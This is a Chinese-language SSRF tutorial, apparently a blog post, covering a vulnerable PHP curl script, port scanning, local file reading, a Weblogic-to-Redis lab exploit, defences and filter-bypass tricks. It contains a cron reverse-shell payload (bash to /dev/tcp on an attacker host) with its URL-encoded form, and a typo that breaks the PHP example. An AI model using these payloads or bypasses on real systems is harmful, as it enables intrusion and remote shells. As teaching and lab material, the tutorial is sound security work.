文章目录
OWASP TOP 10
SSRF漏洞
一、概述
1. 简述
互联网上的很多Web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web应用可以获取图片、文件资源(下载或读取)。
如百度提供识图功能,用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果Web应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。
请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web安全漏洞之一。如果“请求伪造"发生在服务器端,那么这个漏洞就叫做"服务器端请求伪造",即SSRF (Server-Side Request Forgery)是一种攻击者发起的伪造由服务器端发起请求的一种攻击。
一般情况下,ssrf的目标就是与外部隔离的内网资源。
2. 与CSRF区别
CSRF发生在客户端,SSRF发生在服务端。
3. SSRF危害
- 端口扫描
- 内网Web应用指纹识别
- 攻击内网Web应用
- 读取本地文件
二、PHP语言和curl扩展实现SSRF
通过phpinfo()函数查看对curl扩展的支持,现在大部分wamp(windows、apache、mysql、php)套件均支持curl扩展。
1. 实现了从服务器获取资源的基本功能
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curled'.time().'.txt';
$curlobj = curl_init($link);
// fopen和fsockopen均可打开url,fopen的参数是 URL地址,而fsockopen的参数是一个域名
$fp = fopen($filename,'w');
curl_setopt($curlobj,CURLOPT_FILE,$fp);
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_setopt($curlobj,CURLOPT_FOLLOWLOCATION,TRUE);
// curl_exec()函数:使用url发送请求数据
curl_exec($curllobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,'r');
$result = fread($fp,filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
传入参数:?url=http://www.baidu.com
,页面就会载入百度首页的资源,并将获取的资源文件会保存在 ./curled
目录下,并以发起请求时间的unix时间戳命名。
2. 漏洞利用
1. 访问正常文件
比如访问www.baidu.com下的robots.txt文件。
2. 端口扫描
使用字典协议dict,当访问未开放端口,脚本会显示空白或者报错。
提交参数[?url=dict://127.0.0.1:1234]
当访问开放端口时,脚本会显示banner信息。
3. 读取系统本地文件
利用file协议可以读取任意的系统本地文件。
示例:
提交参数 ?url=file://c:\windows\system32\drivers\etc\hosts
4. 内网Web应用指纹识别
识别内网应用使用的框架、平台、模块以及cms可以为后续的渗透测试提供很多帮助。
大多数web应用框架都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。
?url=http://localhost/phpmyadmin/README
5. 攻击内网应用
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web应用等。仅仅通过get方法可以攻击的web应用有很多,比如struts2命令执行等。
- Weblogic SSRF漏洞复现
Weblogic(Oracle出品的一个基于JAVAEE架构的中间件)中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
redis数据库未授权访问漏洞:即不需要用户名和密码就可以访问数据库,拥有root权限读写文件。
- 环境搭建
vulhub地址:https://vulhub.org/#/environments/weblogic/ssrf/
进入目录,拉取镜像,启动镜像;
- 查看镜像进程,
docker ps
;
- 进入redis的容器,备份etc/crontab(计划任务)文件;
- 访问Weblogic,查看uddiexplorer应用:
http://ip:7001/uddiexplorer
;
- SSRF漏洞存在于:
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们使用bp抓包;
- 修改得到的数据包里的url,我们发现可访问的端口将会得到错误,一般是返回
status code
,不存在的端口,将会返回could not connect over HTTP to server
。
由于我们的7001端口开放,所以我们测试访问IP+7001,得到404 error code
再测试访问一个没开放的端口:1234,结果得到:could not connect over HTTP to server
结论:我们可以通过错误的不同,即可探测内网端口。
- 通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*,短端口为6379),发现172.19.0.2:6379,可以连通,这个端口就是内网的redis服务。
- 我们知道redis有未授权访问漏洞,因此可以在不需要提供用户名的密码的情况下访问redis数据库。也就是说,我们可以通过SSRF访问内网的redis数据库,利用 redis 数据实现读写文件操作,将计划任务写进/etc/ crontab文件,从而实现反弹Shell。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
# 将bash反弹到主机的666端口上
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/主机IP/666 0>&1\n\n\n\n"
# 选择etc目录
config set dir /etc/
# 选择crontab文件
config set dbfilename crontab
# 将上面""里的内容保存到crontab文件
save
进行url编码:换行符是“\r\n”,也就是“%0D%0A”,将url编码后的字符串放在ssrf的域名后面。
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%2
0%3E%26%20%2Fdev%2Ftcp%2F主机IP%2F666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set
%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 主机监听666端口,成功反弹shell
三、SSRF 漏洞的挖掘
对外发起网络请求的地方都可能存在SSRF漏洞,如图片加载下载、分享页面、在线翻译、未公开的api (从远程服务器请求资源文件处理,编码处理,属性信息处理等)。
四、SSRF的防御
- 限制协议
仅允许http和https请求。 - 限制IP
避免应用被用来获取内网数据,攻击内网。 - 限制端口
限制请求的端口为http常用的端口,如80、443、8080、8090。 - 过滤返回信息
验证远程服务器对请求的响应是比较简单的方法。 - 统一错误信息
免用户可以根据错误信息来判断远端服务器的端口状态。
五、SSRF绕过限制IP
- 使用其他进制将IP地址进行形式转换;
例如192.168.0.1这个IP地址我们可以改写成:
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成:10.1
-
利用URL解析出现的问题,如:http://www.baidu.com@192.168.0.1,对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容;
-
利用302跳转
- 如当我们访问http://xip.io这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1;
- 利用网络提供的短地址服务进行跳转,新浪,百度的短地址服务并不支持IP模式,所以这里使用的是 http://tinyurl.com 网站;
-
如果对协议限制可以使用其他非http协议,如file、dict协议等;
-
DNS域名重新绑定
服务端正常处理用户请求的URL流程:
首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉;不在就通过验证,然后服务端再去带着自己的源IP(内网IP)去请求这个URL;
漏洞出现:在整个过程中,第一次去请求DNS服务器进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这样就可以进行攻击了。
完整的攻击流程为:
(1)服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP;
(2)对于获得的IP进行判断,发现为非黑名单IP,则通过验证;
(3)服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址;
(4)由于已经绕过验证,所以服务器端返回访问内网资源的结果。